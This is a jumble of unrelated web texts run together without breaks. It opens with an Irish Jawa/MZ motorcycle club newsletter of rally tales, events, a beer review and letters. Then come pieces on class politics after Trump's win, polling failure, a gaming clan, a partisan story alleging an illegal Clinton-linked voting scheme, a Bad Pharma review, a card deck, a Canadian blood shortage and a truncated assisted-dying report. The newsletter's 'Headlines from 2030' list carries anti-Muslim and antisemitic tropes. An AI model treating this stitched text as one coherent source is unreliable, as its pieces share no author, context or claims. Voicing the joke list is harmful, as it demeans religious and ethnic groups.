interim, I succumbed to the temptation of the Jawa 250 Californian. This is the model assembled by Mates Moto Servis in the Czech Republic. It is extremely rare and in all only about 12 of these machines were made. Some of the new old stock parts on the machine still bear the stamp – “Made in Czechoslovakia”. There is a story here but for another day. Pat (Noddy G) Best of luck with the new Toy Pat, may you enjoy many happy spin on her Setkani majitelu Jawa 650 - Jawa 660 - 2015 L iving without a dealer in Ireland it is easy to forget that JAWA are still selling bikes in Europe. The fact that they have reduced their range of bikes and are following the MZ trend of bigger machines does not mean that they have disappeared. I was recently contacted by Stanislav Hrnčíř. He is attempting to contact 650 and 660cc owners. Many have already banded together to form a club. As the photos from one of their recent camps shows they are numerous and active. Well done the boys. Click Here to see and find out more. If you would like to contact them emailStanislav Hrnčíř. Mick Back to Content Vincent and the Snail A s the 27th Garrison Rally drew closer, planning my escape from the shackles of responsibility gathered momentum. Evacuating the pretence of adulthood is even more treasured as you get older. The ideal would be to take a half day Friday to head up. That would give me 2 nights. Friday night can often be the biggest, as on Saturday people are pacing for the return journey. However there was less shuffling of the deck needed if I left departure till Saturday morning. Gerry and Brian could not join me, so I had only myself to organise. Friday night was spent leisurly packing the Snail (Jawa 250 Travel). As I was only staying one night I needed little luggage, i would stay in the hostel. The top box could go, which improves handling. A change of clothes and wash gear in the tank bag, the mandolin strapped to the top of the rear crash bar. A full tank and early to bed. Getting ready adds to the excitement. An early start on Saturday, the plan to go direct, using the main road, taking advantage of the improved road network to maximise my time. Yes good intentions, but the M50 was enough to use up my quota of motorway patience, the Boyne Valley scenic route signs proved to inviting. The Snail and I were off, once again winding our way cross country, attempting going northward. Well it is a biking weekend. I will not admit how long the journey took, but less then a tankful of fuel successfully washed my cares away. The dry weather held up its end and a tired but happy Jawa motorcyclist piloted the last few twists of the road to the well attended MZRC rally. The great thing about meeting up with old buddies is you start where you left off. Tyre kicking and banter go hand in hand. Some love to see the bikes. Others love the raffle and prizes. All enjoy the spin, the bit of food, drink and company. As is often the case the assorted musicians were of such a high calibre that i could have left the mandolin at home. The night flew. I love the sing song, the more who participated the better. It also means you don't overindulge. Over breakfast the next morning Pete the Penniless and I decided to travel the road home together. Pete was on his Vincent 500. He has the old girl humming as he is planning a trip to Europe this summer. It is not everyone that you can travel comfortably with. Riding styles and bike capabilities are key factors. Pete and the Snail have burned rubber on the same stretch of tarmac in the past. He had planned a very interesting route, so a hasty pack and quick farewells saw the Snail stretching the shadow of Pete’s Vincent as it thumped into life waking half of Co Fermanagh. I will not even try and roll out the list of towns that we avoided. I am positive that Pete was lost at least 50 percent of the time. If we came upon a sign for a town he seemed to turn left or right, onto side roads. The Snail had difficulty keeping pace on the twisty winding bits. Some of the turns were sharp enough that the Vincent was driving at me even though it was in front. But we kept inside our comfort zone, fast but not racing. The challenge of the road cleared the mind and broadened the smile on my face. Speed is relative not fast on these roads, you hardly ever get to travel quickly but you are driving at all times. At a coss road we decided to stop for coffee in Athboy. We used a petrol station even though the bikes have a longer range than their pilots. Another bike pulled into the garage, who should it be but Tomáš, we last met in Lisdoonvarna at Big Jim’s MZ rally. He was in fine form and asked to send his regards. Back on our journey, all to soon It was time to split up as our routes drew near. Pete and the Vincent had held a good pace and another wonderful spin came to completion. Thanks Peter for acting as lead scout. I look forward to next time. Thanks also to John, Lorraine and crew for providing the venue. Once again Lough Melvin proved itself as a great event. Mick Back to Content Music For Pete, and his Vincent. Mick Back to Content HEADLINES FROM THE YEAR 2030 Ozone created by electric cars now killing millions in the seventh largest country in the world "Little India " formerly known as Australia. Jersey executes last remaining Greenie. White minorities still trying to have English recognised as UK 's third language. Children from two-parent heterosexual families bullied in schools for being 'different'. Tolerance urged. Gay Marriages now overtake heterosexual marriages as preferred 'lifestyle' choice. Manchester schoolgirl expelled for not wearing Burqa: Being a Christian is no excuse says school. Sharia law must be enforced. Japan announces that they will no longer consume whale meat as whales are now extinct and the scientific research fleet are unemployed. UK Government has told the Japanese that Grey Squirrels taste like whale meat. Britain now has ten Universities of Political Correctness. Professor Goldman of LSPC says there is still a long way to go in the fight to stop people saying what they think. Britain 's deficit £10 trillion and rising. Government declares return to surplus in 100 years which is 300 years ahead of time. Prime Minister Mohammed Yousuf claims increased growth through more immigration is the secret to success. Wall Street banks merge to form new super bank, Goldman Rothschild Ebeneezer Epstein Drescher (GREED): Huge bonuses paid to executives to celebrate launch. Baby conceived naturally! Scientists stumped. France pleads for global help after being taken over by Islamic Countries. No other country volunteers to come forward to help the beleaguered nation. Castro finally dies at age 112. Cuban cigars can now be imported legally, but President Chelsea Clinton has banned all smoking. Jose Manuel Rodrigez Bush says he will run for second term as US President in 2032. Post Office raises price of stamps to £18 and reduces mail delivery to Wednesdays only. After a ten year £75.8 billion study, commissioned by the Labour Party: Scientists prove diet and exercise is the key to weight loss. Average weight of a British male drops to 18 stone. Global cooling blamed for the Australian (Little India ) citrus crop failure for third consecutive year in Victoria India and New South Iraq. Supreme Court rules punishment of criminals violates their civil rights. Victims to be held partly responsible for crime. Average height of professional basketball players is now nine feet, seven inches. New law requires that all nail clippers, screwdrivers, fly swatters and rolled-up newspapers must be registered by January 2035 as lethal weapons. Inland Revenue sets lowest tax rate in decades at 75 per cent. Bradford won this year’s FA cup final beating the Hindu Hornets 4-1. Ger Back to Content Diesels Everywhere Here's a message and a link from Steve Adams over in Bury St Edmunds. The "Steef" reference is to the way Franta Sváta over in Czecho' pronounces Steve's name. Franta knows Steve well, for many years now. The diesel-motorcycle honcho in England is Stuart Scarry, the guy who's responsible for the rally and the photos. I've been in touch with Stuart off and on over the last ten years or so. His ancestors were from Galway or Clare. Small world. Pat Back to Content MZ Riders Club Southern Ireland Section Weekend 4 to 6 September 2015 W e’ve booked accommodation once again in Farran Farm Hostel in Ballacolla, Co Laois. http://www.farmhostel.com/ Rooms are available in the hostel, and camping space (plus a shower facility) in the field behind. Many of you will know this hostel already. If you don’t know it, rest assured it’s a marvellous place.Please book direct with the hostel if attending; contact by e-mail on the website above, or phone Marty or Wendy Phelan at (00-353)-57-873 4032. As distinct from previous years, you’re stuck with me as so-called “organiser”. I don’t pretend to have the social or organisational skills of Jim or Catherine Walsh, so I’ll be looking for some kind volunteer to arrange a run-out if one should be called for – I’m utterly useless at that sort of thing. But we hope to organise a bus service to get us to and from the local pub on the Friday and Saturday nights. It’s a self-catering weekend, so you’d need to bring your own food. Nearest shopping area is Abbeyleix, 10km/6 mls distance. There’s no rally fee. Pay accommodation costs directly to Marty or Wendy. Ballacolla is some 100km/60 mls from Dublin, and about the same distance from Rosslare. The local landscapes are more restful than spectacular, but that’s what you generally get in any country’s midlands. Prices are: €20 per person per night for room accommodation, €5 a time for a continental breakfast, and €8 a night per person for camping. Hope to see you there! Pat Back to Content Events Now that the weather has warmed up some don’t waste the summer. 13th International Jawa CZ Yezdi Day: 12th July 2015 Jawa Day. In groups, or by yourself, your JAWA motorcycles being used, having fun! There are no special rules, except to ride a JAWA or CZ, if you have more than one, ride as many as you can. Whenever you ride remember all the other JAWA/CZ/Yezdi owners all over the world who are riding with you. Join the virtual worldwide rally and tell us about it. Take pictures, of your trip. I intend leaving the car park at the Spawell Sports Complex, Templeogue, at 10 Sunday mornings the 12th of July. No destination yet just getting the JAWA out there. If you want to join me feel free to do so. Royal Enfield Camping Weekend 2015 August 21st-23rd, Venue Powers the Pot, Caravan and camping park, Harneys Cross, Clonmel, Co Tipperary. Tell 052 23085. email: imfo@powersthepot.net website:www.powersthepot.com This is always a good weekend. The Enfield lot are great. It is a camping weekend but food is available in the evening. It’s one of the best parts of the event. Everyone sits at the long table, food, conversation, biking stories. Another world. Click for a list of Events email jawabikes@gmail.com if you want to add anything Mick Back to Content Wear Your Club Shirt Boozing Bikers Black IPA from Blacks of Kinsale. On the trip home from work, the bike ran onto reserve. Considering the options for best price fuel plus upcoming beer review, the KCR garage once again got my loyalty. A garage that is also a landmark, it has a good shop with a fair selection of beer. Not always the best value on the beer but the petrol is always in the ballpark. Black IPA from Kinsale caught the eye this time. Kinsale town was an old haunt for the trusty JAWA 634. Yes some very good memories of that town. So the purchase was made. Price: 3 bottles for 10 Euro Alc: 5% Hops is just wonderful stuff, when you are only having a drink or 2 it rewards the pallet with flavor. And hops is exactly what this very black IPA has. I enjoyed it chilled, it has enough flavor to cope with being cold. The head poured slightly high but settled down considerably. For a sipping beer the head could have lasted better. Or maybe I was just drinking to slow, but a swirl of the glass kept everything ascetic. In researching the brewery it turns out that a bit of romance is involved. A girl presented her man with a beer kit for Valentines Day. He naturally felt very passionate and took to brewing. They married and set up a brewery in Kinsale in 2013. Crowdfund funded it all, people give money and received reward packs. These loyal supporters are remembered on a wall of fame in the Brewery. A nice story and a lovely Beer. A trip to Kinsale is even more tempting now. Pints in the Spaniard, gooseberries crumble in Patsy’s corner (if it is still there). Or just sit relax, sip the Black IPA from Kinsale and imagine I am there. Mick Back to Content Kudos Korner As it’s human nature to moan and complain – rightly so – about bad service from suppliers, it seems only fair to make a positive mention of companies who (literally) deliver the goods. So here’s my short list below. Just to explain: I’ve been dealing with all these online suppliers for parts or tools for either my MZ Skorpion or the MZ ES 250/2 which I’m slowly rebuilding for a friend. So, before anyone asks me what relevance this has got for JAWAs or ČZs, let me say that most of these companies sell parts for Czech machines too. 1 . Gabors MZ Laden, Berlin, https://www.gabors-mz-laden.de/. Bought a clutch puller for four-speed MZ engines here, very high quality and not hugely expensive at 39 euro. A very easy company to deal with. The lady with whom I corresponded gave me a greeting in the Irish language! 2. Ost2rad, Stützengrün (Germany), http://www.ost2rad.com/. Neatly- packaged replacement engine bearings, seals and gaskets, very reasonably priced and a quick delivery too. 3. The MZ Shop, UK, http://www.themzshop.co.uk/. Again, goods as described arrived very quickly. The only drawback for anyone on the euro treadmill is the exchange rate versus sterling, making everything more expensive than in the past. 4. M & P, UK, http://www.mandp.co.uk/. These are well-known mainstream suppliers. I bought handlebar risers here, very pleased with them. 5. Venhill Cables, UK, http://www.venhill.co.uk/. I needed longer cables for my Skorpion. Buying custom cables from Venhill allowed me to make my own, at a cost of less than half the OEM originals. Highly recommended. Pat Back to Content Comments Hi, I just wanted to thank you (even profusely!) for the latest issue. Just to mention only a few things, I am very happy that you ran the story about Pat Fanning (or, as he may prefer, Pádraig Ó Fainín) He is definitely a very fine and remarkable man. I won't go through what you have already put in the article, but he definitely deserves a lot of recognition for what he has done for these many years. Also, I was pleased and delighted with the video of the Australian girl playing the Prelude from Bach's Partita #3. It's a lovely piece, but I have heard it played only on the violin. I had certainly never heard it played on a mandolin, and that is a real accomplishment, as it's not an easy piece to play on any instrument. As for the short piece on my experiences driving in Italy, I can assure you that everything I said is true -- and I could have added a lot more, but I didn't want to bore people too much. And, of course, my congratulations on having The Snail pass her 50,000 km mark. Well done, Snail! see what a bit of maintenance will do? So, all in all, an outstanding and enjoyable issue -- even taking into account the bearded fellow with the cap, the glasses and the vest with all the patches on it who is standing on the left with his hands in his pockets in the first frame of the Clogheen Movie. I think that he should buy me a beer at the Porterhouse in Bray. Just because, that's all. Have a great summer, everyone! David Wallace (in New Jersey) Hello My name is Josip and I am contacting You from Croatia (Hrvatska). I have a CZ 175, type 477, build 1974. I am restaurating the motorcycle but my gas tank is in very poor condition and I am searching for new tank. I was wondering if You maybe could help me, where to find a better tank. Maybe if some of Your members have spare parts and is willing to sell it, I would buy it if it's in a good condition (mine is rusty from inside and stopping the gass flow). Contact: email Thanks in advanceJosip Vuglenović Hi, I would like to your club. I’m the collector, right now I have Jawa 175, Jawa babetta and Jawa 50 type 20 . From Members bikes From Members bikes From Members bikes Piotr Kruczkowski Dear Sir Madam, Membership for Jawa Cz Club. Thank you, David Sheridan Back to Content -“Class is back in politics,” declared Waleed Aly last week. “We ignore it at our peril.” That may well be true but Malcolm Turnbull’s bizarre intervention on 7.30 reminds us that the terrain opening up since Donald Trump’s win is by no means simple. In a speech obviously shaped by the election result, the prime minister launched a very Trumplike attack on what he called the “elite media”. “You have to break out of the bubble,” he explained. “Again, I often get – on the elite media like the ABC – I often get criticised or sent up, and I don’t object to that, by the way, for catching public transport a lot.” What’s going on when a multimillionaire merchant banker can portray himself as a persecuted anti-elitist by virtue of occasionally catching the train? Certainly, the US election should spur progressives to end a disastrous infatuation with what we might call a “trickle down” theory of social justice. Why did women vote for Trump? Because misogyny is not a male-only attribute Read more The super wealthy and their representatives traditionally advocate monetary policies to benefit the very rich, arguing that crumbs from their already well-stocked tables will, in due course, fall to the rest of us. Progressives rightly reject so-called “trickle down economics” as self-serving nonsense. But there’s been a much greater tolerance for a similar methodology when it comes to countering oppression. Over the past months, many ostensible radicals talked up Clinton’s credentials. They ignored that Clinton was a quintessential corporate Democrat, a multimillionaire who took huge fees from Goldman Sachs and other Wall Street firms, and, yes, she was a unabashed foreign policy hawk, who boasted of her friendship with Henry Kissinger, who, some have suggested, should be prosecuted for war crimes. And they insisted that women everywhere would by inspired by the success of a female candidate – and, as a result, be motivated to fight sexism in their own lives. Obviously, that’s not what happened. Rather, exit polls suggest that a majority of white female voters – the constituency assumed to most closely identify with Clinton – opted instead for Donald Trump. Kathleen Geir offers a convincing explanation as to why. “If you’re a woman living paycheck to paycheck,” she writes, “and worried sick over the ever-diminishing economic prospects for you and your children, you’re unlikely to be heavily invested in whether some lady centimillionaire will shatter the ultimate glass ceiling.” It’s an argument with profound implications for a left too often infatuated with the symbolic power of celebrity gestures. Today, progressives regularly devote themselves to identifying high-profile representatives of the oppressed (whether in politics and pop culture, or in sport and in arts) and championing their achievements, in the expectation that diversity will trickle down to ordinary people. Yet clearly, white female voters didn’t think Clinton’s success in overcoming sexist obstacles to her candidature would make any difference to their own lives. Rather than identifying with her as someone facing a shared oppression, they seem to have dismissed her as a privileged beneficiary of a status quo they hated. You can see, then, why Aly labels the poll a rejection of the politics of identity and a return to the politics of class. But what does that actually mean? For many pundits and politicians, discussing class entails, almost by definition, rejecting the legitimacy of struggles against racism, sexism or other forms of oppression. These, they tell us, are, at best, distractions from the economic imperatives upon which class rests and, at worst, provocations driving away honest sons of toil from progressive politics. “Class” thus become synonymous with “middle aged white men”, a constituency allegedly suspicious of refugees, environmentalism, the arts, same-sex marriage and anything much else other economic nationalism and social conservatism. It’s on that basis that Turnbull can see the US election as a vindication of his “jobs and growth” mantra, and a rejection of the “elite” agenda of the left. Some progressives make the same argument. Bill Shorten, for instance, has responded to Trump’s victory with a sharply nationalistic turn. “It is time to build Australian first,” he says, “buy Australian first in our contracts and employ Australians first.” Many on the left – particularly in the ALP – take the failure of identity politics as proof that, if we want to relate to class anger, we can’t call out bigotry or denounce backwardness or welcome refugees. If we do so, we’ll be alienating workers, who don’t care about anything other than checking their pay packet and occasionally glumly swilling some beer. But that way of thinking about class isn’t an alternative to identity politics. On the contrary, it is identity politics – albeit with class posited as the master identity (in place of, say, gender or race). Leftwingers need to proceed on a very different basis. We need to recognise that, while class can be an identity, it isn’t reducible to one. It’s an objective category, not a subjective one, defined by your activity rather than your culture or ideas. The queer female immigrant staffing a call centre in New York belongs to the working class just as much as the beefy coal miner in a mid-western rustbelt town. The nativism voiced by some blue collar Trump supporters is not, in other words, the authentic and unchanging expression of working class experience. On the contrary, the nature of wage labour provides a basis for the expression of a very different politics. Most fundamentally, class isn’t an individual trait but a social relationship. To use the terms popularised by Occupy Wall Street, the “99%” necessarily entails the “1%”. You can’t have employees without employers, and vice versa. An acknowledgment of class thus already implies a political methodology, one that proceeds from the antagonism underlying that binary. More bluntly, workers and bosses have different interests, as anyone involved in negotiating a pay rise knows. Understood in those terms, class not only offers the left a basis on which to analyse society but also provides a strategy with which to change it. Or, to put it another way, a recognition of class shouldn’t be an alternative to combatting oppression so much as a basis on which oppression can be defeated. That’s a lesson for Australia as much as for the US. After all, the trickle down feminism of the Clinton candidacy was, in many ways, similar to that espoused by Julia Gillard during her prime ministership. Gillard’s famous misogyny speech of 9 October 2012, in which she hit back at the Trump-like bullying of Tony Abbott, was widely lauded in the media. Yet, as Anwyn Crawford notes, liberal commentators enthusing about the speech paid very little attention to Gillard’s role in passing, on the very same day, the Social Security Legislation Amendment (Fair Incentives to Work) Act 2012, a bill slashing slashed payments to single parents. She quotes a woman using the pseudonym “Nicole Brooks”, who complains that journalists focused on Gillard’s speech – and largely ignored what was happening to working class parents. “The focus was on Julia Gillard and what an amazing feminist she was,” Brooks says, “but on the same day she’s hurting the most vulnerable women. That was particularly difficult to go through.” We must rethink globalization, or Trumpism will prevail | Thomas Piketty Read more It’s easy for rightwing populists and their journalistic supporters to portray trickle-down campaigns for social justice as elitist and snobby and irrelevant to ordinary people. But what would be the consequences of an anti-sexist campaign that oriented to the bottom of society rather than to the top? Think, for instance, of the provision of quality, affordable childcare – a key demand of the women’s liberation movement in the 70s. For the rich, of course, childcare’s a non-issue. If you’ve got the money, it’s always been available. But for working class women, decent childcare can be life changing, removing a major source of social stress and bringing to an end a common form of drudgery. It’s not hard, then, to see the outline of a class-based campaign against sexism, one that would unite ordinary women and men for a demand that would materially change family life for the majority of society. Nor is it hard to grasp how such a push would reshape the political landscape, as the so-called populists of the right abandoned their radical rhetoric and united with their liberal opponents to defend the status quo against ordinary people. It’s easy – or, at least, possible – for Malcolm Turnbull to denounce ABC journalists as elitists. It’s much harder for him to use the same language against people like Nicole Brooks. In the wake of Trump’s victory, demagogues of all kinds are adopting the language of class. But it’s a vocabulary that may yet come to haunt them, for while they can talk the talk, they can’t walk the walk. That’s why, amid the gloom, there’s an opening emerging for the left, if only we can seize it. -The polls were wrong. And because we are obsessed with predicting opinions rather than listening to them, we didn’t see it coming. So, the world woke up believing that Republican candidate Donald Trump had a 15% chance of winning based on polling predictions – roughly the same chance of rolling a total of six if you have two dice. Despite those odds, the next US president will be Donald Trump. I have a few ideas about what went wrong. In the four years I’ve spent as a data journalist, I’ve been concerned by how much faith the public has placed in polling. Just like you’d check the weather before getting dressed, many people checked presidential polling numbers before heading out to vote. That’s understandable. Politics can feel as unpredictable as the weather, and who wouldn’t want to eliminate uncertainty? The world is a scary and confusing place right now. But those are two very different kinds of forecasts. One is based on natural science, the other on social science. People are different from planets – they can change their minds, they can decide to not share their opinions or they can flat-out lie. And that’s before you even get to some of the statistical issues that make polling inaccurate. That’s not new information. Polling analysts like me knew the numbers were inaccurate before Brexit happened. Despite that, the polling predictions kept coming. Why? I spent almost two years working for Nate Silver’s website FiveThirtyEight, where I hoped to learn the secrets of political forecasting. I walked away totally disillusioned. It sometimes seemed as though their interpretation of the math wasn’t free from subjective bias. There was also a certain arrogance that comes from being part of an elite that “gets the numbers”, and an entrenched hierarchy meant that predictions weren’t properly scrutinised. But analysts such as Silver, a man dubbed an oracle, a soothsayer and a savant have an interest in continuing to share these predictions. Where would the man’s career be if he simply replied “don’t know” when asked what Americans would do? It’s not just FiveThirtyEight. The New York Times also got it wrong, along with Reuters, NBC news and countless others. Just about everyone did – because they couldn’t resist the temptation to try to guess human behaviour. I’m guilty too – I wrote column after column under the label “sceptical polling”, explainers and videos cautioning against the use of polls, but no one really cared. I carried on describing who was ahead because readers still wanted me to. And so you, the reader, are also complicit in this huge mistake. You probably didn’t want to hear “it’s complicated”. You probably didn’t want to have a difficult conversation with your aunt whom you knew was voting for Trump. You probably didn’t want to think too much about the fact that the United States is a country deeply divided along racial and economic lines. Instead, you’d rather hit refresh on a little web page that tells you how America will vote. Too bad the numbers were wrong. - Play  Facebook  Twitter  Google Plus  Embed  Clinton Says She Will Not Run a 'Campaign of Insults' 0:28 autoplay  autoplay  Copy this code to your website or blog Hillary Clinton told NBC News' Lester Holt on Wednesday that she will not go insult-for-insult with Donald Trump in what has already been a nasty general election campaign. "He can run a campaign of insults. I'm running a campaign of issues that are going to produce results for the American people," Clinton said in an interview airing on NBC Nightly News on Wednesday. Clinton said Trump is "temperamentally unfit" to be president, while Trump has gone after Clinton for everything from her use of a private email server to controversies surrounding former President Bill Clinton's administration. Clinton became the first presumptive female presidential nominee for a major party this week, though Democratic rival Bernie Sanders has vowed to fight to the convention next month. The former secretary of state, however, did not call on Sanders to end his campaign. "When it doesn't work out I know that feeling, it is a hard one and it takes time to really work through it so we are reaching out through our campaign to his campaign," she told Holt. Clinton secured a majority of pledged delegates during Tuesday's nominating contests -- eight years to the day when she ended her first presidential run. "I am going to do everything I can to make it possible for him to be a good partner in our ongoing efforts to, you know, pursue these goals that I mentioned and to defeat Donald Trump," Clinton said. -Defcon X was formed on the belief that efficient communication and effective cohesion can overcome overwhelming odds. We have a maximum player cap of 144 and prefer quality players over quantity of players. Not everyone will be accepted into our outfit. The formula for our outfit is: ⦁ Training (e.g., 1v1/squad scrims, flight/ground school, and leading) ⦁ Operations (highly organized play) ⦁ Farming (fun and casual play) Our Doctrine On the battlefield, change is constant, and targets of opportunities appear and disappear quickly. We believe in a Quick Reaction Force that can quickly adapt to the change on the battlefield. A QRF can strike targets deep in enemy territory or stop a incoming attack by destroying High Value Targets that disrupts the enemies supply chains. This QRF is team focused, highly organized, and comprised of highly motivated individuals. These individuals tirelessly train towards specialized warfare yielding loadouts designed specifically to counter enemies and their movements. In a QRF, each individual is given a unique assignment and responsibility that ensures the success of their squad/platoon/outfit goals. Our Code Conduct: Respect - Treat others with dignity, humility, and professionalism. Adaptability - Be willing to change to the challenges in front of you. Responsiveness - Be able to quickly disseminate information and react with appropriate action. Personal Development - Be willing to continuously improve your skills and level of gameplay. Join Teamspeak - We use Teamspeak to maximize communication up-time and to foster our community. Follow orders from your platoon and squad leaders - Never question the order, this creates chaos and is a detractor to any order given. Communicate appropriately - Battle Comms/Clear Comms/Loose Comms. Requirements -A foreign billionaire and seven-figure donor to the Clinton Foundation has been caught funding a reportedly illegal voting scheme that links straight to the Democratic National Committee and presidential candidate Hillary Clinton. A computer hacker who goes by the moniker Guccifer 2.0 recently leaked emails allegedly from the DNC outlining their 2016 general election strategies — and one of them details a coordinated effort with a foreign entity, funded entirely with $100 million from big-time Clinton donor and Swiss billionaire Hansjorg Wyss, to influence the results of the 2016 election. The group was allegedly targeting pro-Clinton demographics for voter registration as well as “outreach, organizing, and legal and policy advocacy on voting laws”, and according to Washington Beacon reporter Lachlan Markay, that’s illegal. The group behind the $100 million voter registration push, The Wyss Foundation, is registered as a 501(c)(3) charitable foundation. It is forbidden by law from financing direct political projects. Critics say the document, titled “Wyss Foundation Democracy Strategy Discussion Memo,” provides clear evidence the group was violating this law, with the DNC’s participation and knowledge. Markay writes, “The document details the scope of Democratic efforts to boost grassroots organizing, and sheds light on how some of the left’s deepest pockets are facilitating those efforts through nonprofit vehicles generally restricted to charitable activity.” Wyss himself, as a foreign national, is also legally banned from any federal or state political donations — a rule he’d allegedly violated up to 30 times in a nine-year period, according to The Daily Caller News Foundation. Wyss also has ties to Clinton, and had previously given between $1 million to $5 million to the Clinton Foundation. Additionally, “Wyss’ now-defunct HJW Foundation previously employed Clinton campaign chairman John Podesta, who received $87,083 from the group in 2013 for consulting services,” according to Markay. — The Horn editorial team -Ben Goldacre is a very angry man, with good reason. In this book he lays out how the pharmaceutical industry has distorted drug research in pursuit of profit, sometimes intentionally, sometimes entirely without malice but with equally devastating effects for patient welfare. This matters because patients are prescribed less effective drugs, or drugs which are outright harmful, at huge financial expense to those paying for the drugs. This isn’t a conspiracy theory book; Goldacre is quite clear that many valuable drugs have come out of the industry, and that most of the people who work in it want to make better drugs. He sets out in detail how and why bias is introduced into both research and prescribing practices, putting it in layman’s terms but linking to the research papers and court documents that back up what he’s saying. He also addresses the failings of the current regulatory system, and proposes ways to improve things — pointing out that unless real controls with serious financial penalties are put in place, even those companies which genuinely want to reform will be under commercial pressure to continue with bad practice in a race to the bottom. It’s a dense and at times exhausting read. But Goldacre has done a decent job of making the issue accessible to a wide audience with a direct interest, from patients to practising doctors and academics. You can skim a lot of the book to get the general gist, or you can read it in details without following the links, or you can dig into research material he drew on and has laid out in meticulous footnotes and citations. He concludes the original edition with practical suggestions about what individual people can do to improve things, often simply by asking questions. I read the second edition, which has a “what happened next” chapter about the reaction to the first edition. As he had predicted, there was a backlash in an attempt to discredit him — but there was also a lot of covert feedback from industry personnel acknowledging the problems and considering how to improve things. While there’s always a “the lurkers support me in email” issue with uncredited sources, he does also offer some examples of companies which have publicly moved to improve transparency. Bad Pharma is an angry but rational examination of a real problem that affects millions of people, including almost anyone reading this review. It’s a worthwhile read, even if it makes for uncomfortable reading for patients, doctors and companies alike. -What’s up my dudes & dudettes? Often when the darkest timeline is upon us, the aggro players go back to their most powerful tool: Burn Spells. So this week I take Stonescar Burn for a spin! Stonescar Burn 4 Oni Ronin (Set1 #13) 4 Pyroknight (Set1 #16) 4 Torch (Set1 #8) 2 Annihilate (Set1 #269) 4 Argenport Instigator (Set1 #268) 3 Kaleb’s Favor (Set0 #3) 4 Rakano Outlaw (Set1 #20) 4 Rapid Shot (Set1 #259) 4 Champion of Chaos (Set1 #402) 3 Cinder Yeti (Set1002 #1) 3 Bandit Queen (Set1 #389) 4 Impending Doom (Set1 #286) 4 Obliterate (Set1 #48) 3 Soulfire Drake (Set1 #47) 6 Fire Sigil (Set1 #1) 1 Granite Monument (Set1 #423) 6 Shadow Sigil (Set1 #249) 4 Seat of Chaos (Set0 #60) 4 Stonescar Banner (Set1 #419) 4 Diplomatic Seal (Set1 #425) Stonescar Burn isn’t a new deck, and has survived many a nerf while still remaining a top dog in the metagame. Nerfs such as Champion of Chaos not getting +1/+1 for the thresholds, Rapid Shot costing 1S, Soulfire Drake costing 5FF, and so on. Despite all that, Stonescar is still a good choice. By applying early pressure with efficient aggro units and having extra burn reach with spells like Torch and Obliterate it maintains a good presence regardless of what the meta throws its way. Yes we were unlucky some points but these games show the strength of the deck. We had some opponents stumble, and we were able to close the door on them. We had other opponents give us some good games while allowing us to make some meaningful decisions. If you’re looking for a deck that will jam out games quickly and has a reasonable win percentage, I can’t recommend Stonescar Burn enough. As always you can give me comments/questions on Reddit, the Discord, or Twitter @jwiley129. Thanks so much for following along and I’ll see y’all next time! Comments -Canadian Blood Services is calling on the public to roll up their sleeves to help reduce a nationwide blood shortage that's reached what it calls a critical level. The organization currently has between 12,000 and 14,000 units of blood on hand; the country typically requires a minimum of 20,000 units at any given time. "It is critical right now," said Hailu Mulatu, a regional manager with Canadian Blood Services. "We're trying everything we can to ensure that we can meet patients' demands over the summer." While Saturday marks the last day of National Blood Donor Week, Mulatu says Canadian Blood Services is extending its appeal for donations. The goal is to bag 50,000 units of blood by the end of June, a target that will take a major surge to reach. Increasing the blood supply is, without exaggeration, a matter of life and death for thousands of patients around the country, Mulatu says. Victims of a bad car crash can need up to 50 units, while leukemia patients can require up to 80 units every week, the organization estimates. Life-saving blood Eleven-year-old Aaryan Dinh-Ali also relies on massive amounts of blood on an ongoing basis. 18 months ago, he was diagnosed with aplastic anemia, a rare bone marrow disease which caused brain bleeding and reduced his blood count to dangerous levels. In his treatment and recovery, Dinh-Ali has received around 100 blood transfusions. "Aaryan has countless strangers' blood running through his system so he can function on a normal basis and be where he is today," his mother Jenny Dinh said. "If it wasn't for those transfusions, Aaryan may not have survived and come home with us." Hailu Mulatu of Canadian Blood Services warns that hospitals may start to cancel elective surgeries if the shortage continues. (SickKids) Why the shortage? Mulatu believes this year's shortage has been caused in part by bad spring weather, which forced the closure of some Canadian Blood Services clinics over the last few months. With those clinics now back open, he's hoping Canadians recognize how valuable their donations are for patients battling disease and recovering from accidents. Mulatu also notes that hospitals may take other steps to preserve the dwindling blood supply. "With a low blood inventory, what may happen is that hospitals may be asked to reduce the amount of blood that they use, which may delay elective surgeries," he said. Geoffrey Brown has donated blood more than a hundred times.. "For a first-timer, it might be a little intimidating but the people there are all very kind and appreciative of what you're doing," he said. "It's always a degree of satisfaction knowing what you're doing can assist a number of different people with whatever health problems they are undergoing." Jenny Dinh-Ali says her son's ordeal also opened her eyes to the staggering importance of blood donations. Seeing the public inventory so low is even more painful after her experience over the past year-and-a-half. "It hurts because not only is it our child who's in need of blood, but being in Sick Kids Hospital for a month straight and seeing the children in there … everybody needs to donate," she said. -A special parliamentary committee will propose Parliament adopt a new physician-assisted dying law that includes advance consent for people in early stages of dementia, sources say. In a report to be tabled in Parliament Thursday, sources say the joint Commons-Senate committee will also address how doctors should deal with people with debilitating mental disorders and young people enduring painful and terminal illnesses. The report recommends the government should first see how medically assisted dying works with adults before allowing it for children or people with mental illnesses. Story continues below advertisement Some MPs had argued for prior judicial approval for an assisted death, but the committee decided it should be left to the medical profession to decide in a sensitive team-based way, sources say. "We trust our medical professionals with our lives every day," Liberal MP and committee co-chair Robert Oliphant told The Globe and Mail. "And this is a committee that also understands that we can trust them with our deaths." The report is also expected to outline areas in which the federal government should consult with provinces and territories, as well as issues not directly in the committee's mandate, such as palliative-care strategy to discourage people from opting for medically assisted death. Mr. Oliphant said most Canadians will be comfortable with the report, which includes safeguards for vulnerable people. "We have given a framework for the [Justice] Minister to consider, and it will be her job to take that framework and decide what has to be in legislation and what has to be in policy," Mr. Oliphant said. The Supreme Court ruled last year that the century-old law banning physician-assisted death was unconstitutional and that Canadians with unbearable and irremediable suffering could be eligible to end their life with a doctor's aid. The Conservative caucus is split on the contentious report with senators signing on to the majority opinion. Conservative MP and vice-chair Michael Cooper said only MPs are part of the dissenting report. Story continues below advertisement Story continues below advertisement "The report got some things right but some things wrong. And we felt there were some glaring errors with recommendations in the report," Mr. Cooper said. "We just felt that as Conservative MPs we owed it to our constituents and to Canadians to raise some issues that we felt were not adequately addressed in the main report." Conservative Senator Nancy Ruth told The Globe and Mail that Tory MPs have decided to make a "political statement" on doctor-assisted dying. "I suspect it will talk about protecting the vulnerable but, you know, everyone who is suffering is vulnerable," Senator Nancy Ruth said. "The report itself does protect the vulnerable in my opinion, very strongly, even more strongly than I would have probably, perhaps even personally, have wanted. So it's a compromise and I think it's a fair report. I think the minority report is unnecessary." Mr. Oliphant 